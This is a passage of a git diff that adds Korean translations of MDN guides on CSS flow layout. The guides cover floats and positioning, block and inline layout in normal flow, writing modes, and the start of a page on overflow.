+<p>대열에서 벗어난 항목은 새로운 블록 서식 상황(BFC)를 생성하므로, 그 안에 있는 모든 것은 페이지의 나머지 부분과는 구분되는 소형 조판으로 볼 수 있다. 따라서 뿌리 요소는 우리 문서의 모든 내용에 해당하는 컨테이너이기 때문에 대열을 벗어나 있으며 당 문서에 대한 블록 서식 상황을 수립합니다.</p>
+
+<h3 id="부동_항목">부동 항목</h3>
+
+<p>이 예제에서 나는 <code>div</code>를 가지고 있고, 그 다음 두 단락을 갖고 있다. 문단에 배경색을 추가한 다음 <code>div</code> 요소를 왼쪽으로 부동시켰다. 이제 <code>div</code>는 대열에서 벗어났다.</p>
+
+<p>부동체는 우선 일반 대열에 속했던 애초의 위치를 기준으로 배치되었고, 그 뒤 대열에서 벗어나 최대한 왼쪽으로 이동합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}</p>
+
+<p>여러분은 부동체 밑에 펼쳐지고 있는 다음 단락의 배경색을 볼 수 있습니다. 동 단락의 라인 상자 무리만 부동체 주변 콘텐츠를 둘러싸는 효과를 위해 축소되었습니다. 우리 단락 형태의 상자는 여전히 일반 대열이라는 규칙에 따라 표시되고 있습니다. 바로 그런 까닭에 부동 항목 주위에 공간을 만들려면 동 항목에 여백을 추가해서 그 여백으로부터 라인 상자 무리를 밀려나도록 해야하는 겁니다. 대열에 속한 다음 순번 콘텐츠에는 그 어떤 것을 적용한다고 해도 그런 효과를 달성할 수 없습니다.</p>
+
+<h3 id="절대_위치잡기">절대 위치잡기</h3>
+
+<p>어떤 항목에 <code>position: absolute</code>나 <code>position: fixed</code>를 부여하면 동 항목이 대열에서 제거되며, 그것이 점유하고 있던 모든 공간이 제거됩니다. 다음 예제에서 나는 세 개의 단락 요소를 가지고 있으며, 두 번째 요소는 <code>position</code>와 <code>absolute</code>임에 더해 간격띄우기 값이 <code>top: 30px</code>에 <code>right: 30px</code> 해당됩니다. 그 (두 번째) 요소는 문서 대열에서 제거되었습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}</p>
+
+<p><code>position: fixed</code>를 사용해 대열에서 항목을 제거하지만, 간격띄우기는 컨테이너 블록이 아닌 브라우저 뷰포트가 기준입니다.</p>
+
+<p>위치잡기를 통해 대열에서 항목을 빼내면 콘텐츠의 중복 가능성을 관리해야 합니다. 대열에서 벗어나면 페이지의 다른 요소는 더 이상 요소가 존재한다는 것을 알지 못하므로 이에 반응하지 않습니다.</p>
+
+<h3 id="상대_위치잡기와_대열">상대 위치잡기와 대열</h3>
+
+<p>어떤 항목에 <code>position: relative</code> 위치잡기를 부여하면 그것은 대열에 잔류하지만, 당신은 간격띄우기 값을 사용하여 동 항목을 주변으로 밀어낼 수 있습니다. 그러나 아래 예제에서 볼 수 있듯이 그것이 일반 대열 위치에 그대로 남아 있게 됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}</p>
+
+<p>일반 대열에 속해 있었던 어떤 항목을 제거하거나 이동할 때, 해당 항목 주변의 콘텐츠를 겹치지 않도록 관리해야 할 필요성이 있다는 것을 예상할 수밖에 없을 겁니다. 말하자면 부동체를 정리하거나 <code>position: absolute</code>가 적용된 요소가 여타 콘텐츠에 올라타지 않도록 담보해야 합니다. 이러한 이유로 요소 무리를 대열 속에서 제거하는 메서드는 그들 메서드가 가져올 영향을 파악한 상태에서 사용되어야 합니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이번 안내서에서는 매우 구체적인 유형의 위치잡기를 달성하기 위해 요소를 일반 대열에서 빼내는 여러 방법을 다루었습니다. 다음 안내서에서는 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">서식 상황 해설</a> 가운데에서 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 상황</a>을 생성하는 등의 관련 이슈를 살펴볼 겁니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li>서식 학습하기: <em><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9C%84%EC%B9%98%EC%9E%A1%EA%B8%B0">위치잡기</a></em></li>
+</ul>
diff --git a/files/ko/web/css/css_flow_layout/일반_흐름_속_블록_및_인라인_레이아웃/index.html b/files/ko/web/css/css_flow_layout/일반_흐름_속_블록_및_인라인_레이아웃/index.html
new file mode 100644
index 0000000000..cc7753cb70
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/일반_흐름_속_블록_및_인라인_레이아웃/index.html
@@ -0,0 +1,122 @@
+---
+title: 일반 대열 속 블록 및 인라인 조판
+slug: Web/CSS/CSS_Flow_Layout/일반_흐름_속_블록_및_인라인_레이아웃
+tags:
+ - 대열
+ - 씨에스에스
+ - 씨에스에스 대열 조판
+ - 안내서
+ - 여백
+ - 조판
+ - 중급
+translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">이번 안내서에서는 블록 및 인라인 요소가 일반 대열의 일부일 때 어떻게 동작하는지에 대한 기본 사항을 살펴본다.</p>
+
+<p>일반 대열은 <a href="https://www.w3.org/TR/CSS2/visuren.html#normal-flow">씨에스에스 2.1규격</a>에 정의되어 있으며, 이는 일반 대열에 소속된 상자가<em> 서식 상황</em>의 일부가 된다는 것을 설명한다. 그 상자는 블록 또는 인라인이 될 수 있지만 동시에 양수겸장이 될 수는 없다. 블록 수준 상자는 <em>블록 서식 상황</em>에 참여하는 것으로, 인라인 수준 상자는 <em>인라인 서식 상황</em>에 참여하는 것으로 기술한다.</p>
+
+<p>블록 또는 인라인 서식 상황에 해당하는 요소의 동작은 이(CSS2.1) 규격에서 정의한다. 블록 형식 상황에 해당하는 요소의 경우 규격은 다음과 같다:</p>
+
+<blockquote>
+<p>블록 서식 상황에서 상자는 컨테이너 블록의 맨 위에서 시작하여 수직으로 하나씩 배치된다. 두 형제(동급) 상자 사이 수직 간격은 '여백' 속성에 의해 결정된다. 블록 서식 상황에 속하는 인접하는 블록 수준 상자 사이 수직 여백은 축소된다.<br>
+ 블록 서식 지정 상황에 속하는 각 상자의 왼쪽 바깥족 가장자리는 콘테이너 블록의 왼쪽 가장자리를 접한다. (오른쪽에서 왼쪽[아랍어] 방향 서식의 경우는 우측 가장자리를 접한다.)" - 9.4.1</p>
+</blockquote>
+
+<p>인라인 서식 상황에 해당하는 요소의 경우:</p>
+
+<blockquote>
+<p>인라인 서식 상황에서 상자는 콘테이너 블록의 상단에서 하나씩 차례로 수평으로 배치된다. 이 상자들 사이 수평 여백, 테두리 및 패딩은 준수된다. 상자는 다양한 방법으로 수직으로 정렬될 수 있다. 상자의 하단이나 상단에 맞춰 정렬되거나 텍스트의 기준선에 맞춰 정렬될 수 있다. 라인 형태를 띠는 여러 상자를 가두는 직사각형 영역을 라인 상자라고 한다. "- 9.4.2</p>
+</blockquote>
+
+<p>씨에스에스 2.1 규격은 문서를 가로쓰기와 세로 쓰기 모드로 기술하고 있다. 예를 들어 블록 상자 사이의 수직 거리를 기술한다. 블록 및 인라인 요소의 동작 방식은 세로 쓰기 모드에서 동작할 때와 동일하다. 앞으로 게시될 대열 조판과 쓰기 모드에 관한 안내서에서 세로 쓰기 모드의 경우를 살펴볼 예정이다.</p>
+
+<h2 id="블록_서식_상황에_참여하는_요소">블록 서식 상황에 참여하는 요소</h2>
+
+<p>영어와 같은 가로쓰기 모드에서 블록 요소는 수직으로 다른 대상 요소 바로 밑에 배치된다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16125/mdn-horizontal.png" style="height: 382px; width: 521px;"></p>
+
+<p>세로 쓰기 모드에서는 수평으로 배치된다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16126/mdn-vertical.png" style="height: 382px; width: 418px;"></p>
+
+<p>이 안내서에서 우리는 영어로 작업할 것이기 때문에 가로쓰기 모드를 다룬다. 그러나 기술된 내용 전체는 세로 쓰기 모드에서도 당연히 동일한 방식으로 작동한다.</p>
+
+<p>씨에스에스 규격에 정의된 대로 2개의 블록 상자 사이 여백이 바로 상자 요소 사이를 구분해주는 것이다. 우리는 그점을 눈으로 확인하기 위해 2개의 단락으로 매우 간단한 하나의 조판에 테두리를 추가했다. 기본 브라우저의 스타일시트는 상하 요소에 여백을 더하는 방식으로 단락 사이 간격을 추가한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}</p>
+
+<p>단락 요소의 여백을 <code>0</code>으로 설정하면, 테두리는 접촉한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}</p>
+
+<p>기본 설정에 따라 블록 요소는 인라인 방향에 포함된 모든 빈공간을 차지하므로 당해 단락은 펼쳐지면서 콘테이너 블록 내부를 최대한 차지할 수 있게 된다. 블록 너비를 적시하게 되면 옆 공간에 나란히 배치될 공간이 있다손치더라도 다른 대상 요소 바로 밑에 배치된다. 각 블록은 콘테이너 블록의 시작 가장자리에 맞춰 시작되며, 그 위치에 맞춰 해당 쓰기 모드에 포함되는 문장이 시작된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}</p>
+
+<h3 id="여백_축소">여백 축소</h3>
+
+<p>씨에스에스 규격에 따라 블록 요소 사이의 여백이 <em>축소</em>된다. 즉, 하단 여백이 있는 요소 바로 뒤에 상단 여백을 가진 요소가 있으면 두 여백의 합이 전체 공간이 되는게 아니라 여백이 축소되는데, 본질적으로 두 여백 중 더 큰 것으로 갈음한다.</p>
+
+<p>아래의 예에 포함된 단락들은 <code>20px</code>의 상부 여백과 <code>40px</code>의 하부 여백을 갖고 있다. 단락 사이 여백의 크기는 <code>40px</code>이다. 왜냐면 두번째 단락의 상대적으로 작은 상부 여백이 첫번째 단락의 상대적으로 큰 하부 여백에 맞춰 축소되었기 때문이다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}</p>
+
+<p>여백 축소에 관해선 <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 축소 정복 </a>안내서에서 자세한 내용을 파악할 수 있다.</p>
+
+<div class="note">
+<p>참고: 여백의 축소 여부가 불확실할 경우 브라우저 개발툴에 나오는 상자 모델 값을 확인하십시오. 이렇게 하면 현재 일어나고 일을 파악하는 데 도움이 될 수 있는 실제 여백 크기를 알 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16124/box-model.png" style="height: 848px; width: 828px;"></p>
+</div>
+
+<h2 id="인라인_서식_상황에_참여하는_요소">인라인 서식 상황에 참여하는 요소</h2>
+
+<p>인라인 요소는 특정 쓰기 모드에서 문장이 진행하는 방향으로 하나씩 차례대로 표시한다. 인라인 요소를 상자로 간주하지 않는 경향이 있지만 씨에스에스에 속하는 모든 요소처럼 그들도 상자로 간주된다. 이 인라인 상자들은 하나씩 차례대로 배열되어 있다. 컨테이너 블락에 상자 전체를 위한 충분한 공간이 없으면 새 줄로 넘어간다. 생성된 라인은 라인 상자라고 통용된다.</p>
+
+<p>다음 예에서는 스트롱(strong) 요소를 내부에 포함하는 단락의 형태로 생성된 세개의 인라인 상자가 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}</p>
+
+<p><code>strong</code> 요소 전후로 단어를 감싼 상자들은 무명 상자라고 하며 모든 것이 상자로 둘러쳐 있음을 담보하기 위해 상자가 도입된 것이되 직접 대상화할 수 없는 요소이다.</p>
+
+<p>블록 방향의 라인 상자의 크기는(영어 단락 작업시 글 높이의 경우)는 내부에 있는 가장 큰 상자에 의해 정의된다. 다음 예에서 나는 스트롱 요소의 크기를 300%로 만들었고, 이제 그 콘텐츠가 해당 선상의 라인 상자 높이를 정의한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}</p>
+
+<p>블락과 인라인 상자의 동작 방식에 대해 자세한 내용은 <a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a> 안내서를 찾아보십시요.</p>
+
+<h2 id="display속성_및_대열_조판"><code>display</code>속성 및 대열 조판</h2>
+
+<p>씨에스에스 2.1에 존재하는 규칙 외에도 새로운 수준의 씨에스에스는 블록 및 인라인 상자의 동작을 추가로 기술한다. <code>display</code> 속성은 상자와 상자 속 상자의 동작 방법을 정의한다. 씨에스에스 디스플레이 모델 수준 3 내용을 보면 디스플레이 속성이 상자의 동작과 생성된 상자에 변화를 주는 방법에 대해 더 자세히 알 수 있다.</p>
+
+<p>요소의 디스플레이 유형은 외부 디스플레이 유형을 정의하며, 이 외부 디스플레이 유형은 상자가 동일 서식 상황에 속한 다른 요소와 어떻게 병행 표시되는지를 지정한다. 또한, (씨에스에스 디스플레이 모델 수준 3을 보면) 이 요소 내부에 속한 상자가 작동하는 방식을 지정하는 내부 디스플레이 유형도 정의한다. 이런 내용은 가변(flex) 조판를 고려할 때 명확하게 확인할 수 있다. 아래 예제에서 나에게 <code>display: flex</code>를 적용한 div 요소 하나가 있다. 가변 컨테이너는 블록 요소처럼 동작한다. 새 줄에 표시되고 인라인 진행 방향에서 차지할 수 있는 모든 공간을을 차지한다. 이것은 <code>block</code>의 외부 디스플레이 유형이다.</p>
+
+<p>그러나 가변 항목("Flex Item" 문자열 2개)은 가변 서식 상황에 참여하고 있다. 왜냐면 부모(class container)가 display: flex가 지정된 요소이고, 따라서 (상속에 의해) 내부 디스플레이 유형이 가변이므로 직계 자식의 경우 가변 서식 상황이 수립된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}</p>
+
+<p>따라서 씨에스에스에 포함된 모든 상자가 이런 식으로 작동한다고 간주할 수 있다. 상자 자체는 외부 디스플레이 유형도 갖고있기 때문에 다른 상자와 병행 동작하는 방법을 알고 있다. 그리고 상자는 내부 디스플레이 유형도 갖고있어 자식의 동작 방식도 변경한다. 이어 해당 자식은 외부 및 내부 디스플레이 유형도 갖게된다. 앞 예제에서 가변 항목("Flex Item" 문자열 2개)은 가변 수준 상자가 되며, 따라서 그것의 외부 디스플레이 유형은 그것들이 가변 서식 상황의 일부가 되는 방식에 의해 결정된다. 그들 항목은 <em>대열</em> 디스플레이 유형을 갖게 되는데, 그 의미는 자식이 일반 대열에 참여한다는 것을 의미한다. 당해 가변 항목 내부에 중첩된 항목('children' 'are in' 'normal flow')은 디스플레이 유형이 바뀌지 않는한 블록 및 인라인 요소로 배치된다.</p>
+
+<p>외부 및 내부 디스플레이 유형이란 개념은 Flexbox(<code>display: flex</code>)와 Grid Layout(<code>display: grid</code>)과 같은 조판 메서드를 사용하는 컨테이너가 해당 메서드의 외부 디스플레이 유형이 <code>block</code>인 관계로 블록 및 인라인 조판에 계속해서 참여하고 있다는 것을 알려준다는 점에서 중요하다.</p>
+
+<h3 id="하나의_요소가_참여하는_대상의_서식_상황_변경">하나의 요소가 참여하는 대상의 서식 상황 변경</h3>
+
+<p>브라우저는 해당 요소의 통상적 타당성 여하에 따라 항목을 블록 또는 인라인 서식 맥락의 일부로 표시한다. 예들들면 단어를 강조를 강조하기 위해 스트롱 요소를 사용하며, 브라우저에 굵게 표시됩니다. 스트롱 요소가 블록 수준 요소로 표시되어 새 줄로 밀려나는 것은 일반적으로 타당하지 않다. 당신이 모든 스트롱 요소를 블록 요소로 표시하기를 원하면 당신은 <code>strong</code> 요소에 <code>display: block</code>를 설정함으로써 그렇게 할 수 있다. 즉, 항상 가장 의미론적으로 타당한 HTML 요소를 사용하여 콘텐츠를 표시한 다음 씨에스에스를 사용하여 표시되는 방식을 변경할 수 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이번 안내서에서 우리는 블록 요소나 인라인 요소일 경우처럼 일반 대열속에서 요소가 어떻게 표시되는지 살펴보았다. 이러한 요소에 정해진 기본 동작이 있는 관계로 씨에스에스 스타일 지정이 전혀 없는 에이치티엠엘 문서가 읽기 가능한 방식으로 표시된다. 일반 대열의 작동 방식을 이해하면 조판이 더 쉬워지는 데 그 이유는 요소가 표시되는 방식을 변경하는 출발점을 이해하는 것이기 때문이다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model">씨에스에스 기본 상자 모델</a></li>
+ <li><em><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></em> - 조판 살펴보기</li>
+ <li><a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a></li>
+ <li><a href="/ko/docs/Web/HTML/Block-level_elements">블락 수준 요소</a></li>
+</ul>
diff --git a/files/ko/web/css/css_flow_layout/흐름_레이아웃과_쓰기_모드/index.html b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_쓰기_모드/index.html
new file mode 100644
index 0000000000..4d35855ee5
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_쓰기_모드/index.html
@@ -0,0 +1,92 @@
+---
+title: 대열 조판과 쓰기 모드
+slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_쓰기_모드
+tags:
+ - 대열 조판
+ - 쓰기모드
+ - 씨에스에스
+ - 안내서
+ - 지향
+translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes
+---
+<p class="summary">어떻게 일반 대열이 동작하는지 자세히 설명하는 씨에스에스 2.1 규격은 가로쓰기 모드라고 가정한다. <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/일반_대열_속_블록_및_인라인_조판">조판</a> 속성은 세로 쓰기 모드에서 동일한 방식으로 작동해야 한다. 이 안내서는 서로 다른 문서 작성 모드에서 사용될 때 대열 조판이 어떻게 작동하는지 살펴 봅니다.</p>
+
+<p>이것은 씨에스에스(CSS)에 포함된 쓰기 모드 사용에 대한 종합적인 안내서가 아니다. 이 글의 목적은 대열 조판이 쓰기 모드와 예상치 못한 방식으로 상호 작용하는 지점을 문서화하는 것이다. 이 문서의 <a href="#See_Also">참조 항목</a>과 <a href="#External_Resources">외부 리소스</a> 섹션은 쓰기 모드 관련 더 많은 링크를 제공하고 있다.</p>
+
+<h2 id="쓰기_모드_규격">쓰기 모드 규격</h2>
+
+<p>씨에스에스 쓰기 모드 수준 3 규격은 문서의 쓰기 모드가 대열 조판에 미치는 영향을 정의한다. 씨에스에스 쓰기 모드 소개란에서 전하는 <a href="https://drafts.csswg.org/css-writing-modes-3/#text-flow">규격은 다음과 같다.</a></p>
+
+<blockquote>
+<p>씨에스에스에 포함되는 쓰기 모드는 {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} 속성에 의해 결정된다. 쓰기 모드는 주로 인라인 기준 방향과 블록 대열 방향 여하에 따라 정의된다."</p>
+</blockquote>
+
+<p>쓰기 모드 규격은 내용물이 라인에 정렬되는 방향에 따라 <em>인라인 기준 방향</em>을 정의한다. 기준 방향이 인라인 방향의 시작과 끝을 정의한다. 인라인 방향의 시작은 문장이 시작되는 곳이고, 인라인 방향의 끝은 새 줄로 넘어가기 전에 텍스트가 끝나는 곳이 끝나는 곳이다.</p>
+
+<p><em>블록 대열 방향</em>은 예로 단락의 경우처럼 블록 쓰기 모드에서 상자를 쌓는 방향이다. 씨에스에스 쓰기 모드 속성은 블록 대열 방향을 제어한다. 페이지 또는 페이지의 일부를 <code>vertical-lr</code>로 변경하고 싶다면, 대상 요소에 <code>writing-mode: vertical-lr</code>를 설정할 수 있고, 이로써 블록의 방향을 변경하는 것이고 아울러 인라인 방향도 변경된다.</p>
+
+<p>특정 언어일 경우 특정 쓰기 모드나 텍스트 방향을 사용하겠지만, 제목을 세로로 돌리는 등 창의적인 효과를 위해 그러한 속성을 사용할 수도 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/creative-use.html", '100%', 720)}}</p>
+
+<h2 id="writing-mode_속성_및_블록_대열"><code>writing-mode</code> 속성 및 블록 대열</h2>
+
+<p>{{cssxref("writing-mode")}} 속성은 <code>horizontal-tb</code>과 <code>vertical-rl</code>, <code>vertical-lr</code>를 속성값으로 받는다. 이들 속성값은 페이지 상에 블록의 대열 방향을 제어한다. 초기 값은 <code>horizontal-tb,</code>로써 가로 인라인 방향이 포함된 상단에서 하단으로 가는 블록 대열 방향이다. 영어와 같이 왼쪽에서 오른쪽 방향 언어과 오른쪽에서 왼쪽 방향 언어인 아랍어의 경우든 모두가 <code>horizontal-tb</code>이다.</p>
+
+<p>다음 예는 <code>horizontal-tb</code>를 사용하는 블록을 보여준다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/horizontal-tb.html", '100%', 720)}}</p>
+
+<p>속성값 <code>vertical-rl</code>는 다음 예와 같이 세로 인라인 방향을 포함하는 오른쪽에서 왼쪽으로 가는 블록 대열 방향을 제공한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-rl.html", '100%', 720)}}</p>
+
+<p>마지막 예는 <code>vertical-lr</code>로써 세번 째로 가능한 <code>writing-mode</code> 속성값을 시연하고 있다. 이렇게 하면 왼쪽에서 오른쪽 블록 대열 방향과 세로 인라인 방향을 얻을 수 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/vertical-lr.html", '100%', 720)}}</p>
+
+<h2 id="부모와_다른_쓰기_모드를_가진_상자">부모와 다른 쓰기 모드를 가진 상자</h2>
+
+<p>중첩된 상자에 부모와 다른 쓰기 모드가 할당된 경우 인라인 수준 상자는 <code>display: inline-block</code>이 적용된 듯이 표시된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-change-mode.html", '100%', 720)}}</p>
+
+<p>블록 수준 박스는 새로운 블록 서식 상황을 설정하게 되는데, 내부 디스플레이 유형이 <code>flow</code>일 경우 계산에 따른 디스플레이 유형인 <code>flow-root</code>를 얻게 된다는 뜻이다. 이것은 다음 예에서 보다시피 <code>horizontal-tb</code> 속성에 따라 표시되는 상자가 부동 요소를 포함하고 있는데, 그것이 포함된 까닭은 부모가 새로운 블록 대열 상황을 수립했기 때문이다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/block-change-mode.html", '100%', 720)}}</p>
+
+<h2 id="대체_요소">대체 요소</h2>
+
+<p>이미지와 같은 대체 요소는 <code>writing-mode</code>에 주어진 속성에 근거하여 (가로 세로) 쓰기 방향를 바꾸지 않는다. 그러나 텍스트를 포함하는 양식 컨트롤과 같은 대체 요소는 사용중인 쓰기 모드와 일치해야 한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/replaced.html", '100%', 720)}}</p>
+
+<h2 id="논리적_속성_및_속성값">논리적 속성 및 속성값</h2>
+
+<p>당신이 <code>horizontal-tb</code> 이외의 쓰기 모드에서 작업하게 될 경우, 스크린의 물리적 크기에 매핑되는 많은 속성 및 속성값들이 이상하게 보일 것이다. 예를 들면 상자에 100px을 부여하면 쓰기 모드가 <code>horizontal-tb</code>일 경우에 인라인 방향의 크기(100px)를 통제하게 된다. 쓰기 모드가 <code>vertical-lr</code>일 상황에서 상자가 텍스트에 맞춰 회전하지 않기 때문에 블록 방향 크기를 상자가 제어한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/width.html", '100%', 720)}}</p>
+
+<p>따라서 우리에게 {{cssxref("블록 크기")}} 및 {{cssxref("인라인 크기")}}라는 새로운 속성이 주어진다. 당해 블록에 <code>inline-size</code>를 100px 부여할 경우 가로쓰기 또는 세로 쓰기 모드 여부는 상관없어지며, <code>inline-size</code>일 경우 항상 인라인 방향의 크기를 의미하게 된다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/writing-modes/inline-size.html", '100%', 720)}}</p>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Logical_Properties">씨에스에스 논리적 속성</a> 규격은 여백, 패딩 및 테두리를 제어하는 속성의 논리적 버전뿐만 아니라 일반적으로 물리적 방향 지정을 위해 대상 요소에 전형적으로 사용되는 다른 매핑을 포함하고 있다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>대부분의 경우, 문서의 쓰기 모드 또는 문서의 일부를 변경할 때 당신이 대상 요소에 기대하는 대로 대열 조판이 작동한다. 쓰기 모드는 세로 쓰기 언어를 올바르게 조판하거나 ​​독창적 표현을 이유로 사용할 수 있다. 씨에스에스는 세로 쓰기 모드에서 작업할 때 크기의 척도를 요소의 인라인과 블록 크기에 기초할 수 있도록 논리적 속성과 속성값을 도입하는 방식으로 간편한 설정을 가능케 해준다. 이런 내용은 다른 쓰기 모드에서 작동할 수 있는 구성 요소를 만들 경우에 유용할 것이다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Writing_Modes">쓰기 모드</a></li>
+</ul>
+
+<h2 id="외부_리소스">외부 리소스</h2>
+
+<ul>
+ <li><em><a href="https://24ways.org/2016/css-writing-modes/">씨에스에스 쓰기 모드</a></em>, 젠 시몬스가 소개하는 24가지 방식</li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}</div>
diff --git a/files/ko/web/css/css_flow_layout/흐름_레이아웃과_오버플로/index.html b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_오버플로/index.html
new file mode 100644
index 0000000000..697bdfacde
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/흐름_레이아웃과_오버플로/index.html
@@ -0,0 +1,73 @@
+---
+title: 대열 조판과 대열이탈
+slug: Web/CSS/CSS_Flow_Layout/흐름_레이아웃과_오버플로
+tags:
+ - 가시성
+ - 대열 조판
+ - 대열이탈
+ - 씨에스에스
+ - 안내서
+ - 조판
+ - 중급
+ - 텍스트 대열이탈
+translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow
+---
+<p class="summary">컨테이너에 채울 수 없을 만큼 더 많은 내용물이 있을 때 오버플로 상황이 발생한다. CSS에서 크기 제한이 있는 요소를 다루려면 오버플로의 동작 방식을 이해하는 것이 중요하다. 이 안내서는 일반 플로우에 해당하는 작업 중에 오버플로이 작동하는 방식을 설명한다.</p>
+
+<h2 id="오버플로은_무엇인가">오버플로은 무엇인가?</h2>
+
+<p>어떤 요소에 고정 높이 및 너비를 부여한 다음, 상자에 상당한 내용물을 추가하면 기본적인 오버플로 사례가 만들어 진다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/overflow.html", '100%', 700)}}</p>
+
+<p>내용물이 상자 안으로 들어간다. 상자가 채워지면, 눈에 보이게 오버플로이 계속되면서 상자 밖으로 내용물이 표시되고, 후속 내용물 아래에 표시될 가능성까지 있다. 오버플로 동작 방식을 통제하는 속성은 오버플로 속성으로 초기값은 <code>visible</code>로 되어 있다. 그런 까닭에 오버플로한 내용물를 볼 수 있다.</p>
+
+<h2 id="오버플로_통제">오버플로 통제</h2>
+
+<p>오버플로된 내용물이 동작하는 방식을 통제하는 그 밖의 값들이 있다. 오버플로된 내용물을 감추려면 <code>hidden</code> 값을 사용한다. 이 값은 내용물을 보이지 않게 만들 수도 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/hidden.html", '100%', 700)}}</p>
+
+<p><code>scroll</code> 값을 사용해서 상자의 내용물을 상자 안에 가둬두고 내용물을 볼 수 있게 스크롤 막대를 추가할 수 있다. 스크롤 막대는 내용물이 상자에 들어맞더라도 추가될 것이다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/scroll.html", '100%', 700)}}</p>
+
+<p><code>auto</code> 값을 사용하면 상자안에 내용물이 들어맞을 경우 스크롤 막대 없이 내용물을 표시하게 된다. 만일 내용물이 들어맞지 않는다면 스크롤 막대가 추가되게 된다. 다음 예를 <code>overflow: scroll</code> 경우의 예와 비교하면 수직 스크롤 막대가 필요할 경우에도 <code>overflow scroll</code>의 예는 수평 및 수직 스크롤 막대가 있음을 알수 있다. 아래 <code>auto</code> 예제에서는 우리가 스크롤이 필요한 방향으로만 스크롤 막대를 추가한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/auto.html", '100%', 700)}}</p>
+
+<p>이미 배운 바와 같이 기본값인 <code>visible</code> 이외에 살펴본 값 중의 어떤 값을 사용하게 되면 새로운 블록 서식 상황을 생성하게 된다.</p>
+
+<p>참고: <a href="https://www.w3.org/TR/css-overflow-3/">작업 초안 오버플로 수준 3</a>을 보면 추가적인 속성 값으로 <code>overflow: clip</code>이 있다. 이것은 <code>overflow: hidden</code>와 같이 작용하지만, 프로그래밍 방식의 스크롤이 불용되어 스크롤 할 수 상자가 된다. 또한, 이것은 블록 서식 상황을 생성하지 못한다.</p>
+
+<p>오버플로 속성은 실제로는 <code><a href="/en-US/docs/Web/CSS/overflow-x">overflow-x</a></code>와 <code><a href="/en-US/docs/Web/CSS/overflow-y">overflow-y</a></code> 속성의 약칭이다. 오버플로 값을 하나만 지정하면 이 값은 가로 세로 양 축에 모두 사용된다. 그러나 두 가지 값 모두를 지정할 수 있다. 첫번 째 경우에는 <code>overflow-x</code>를 수평 방향 값으로 두번째 경우에는 <code>overflow-y</code>를 수직 방향 값으로 사용하면 된다. 아래 예에서 나는 <code>overflow-y: scroll</code>만 지정함으로써 원치 않는 가로 스크롤 막대가 나타나지 않도록 했다.</p>
+
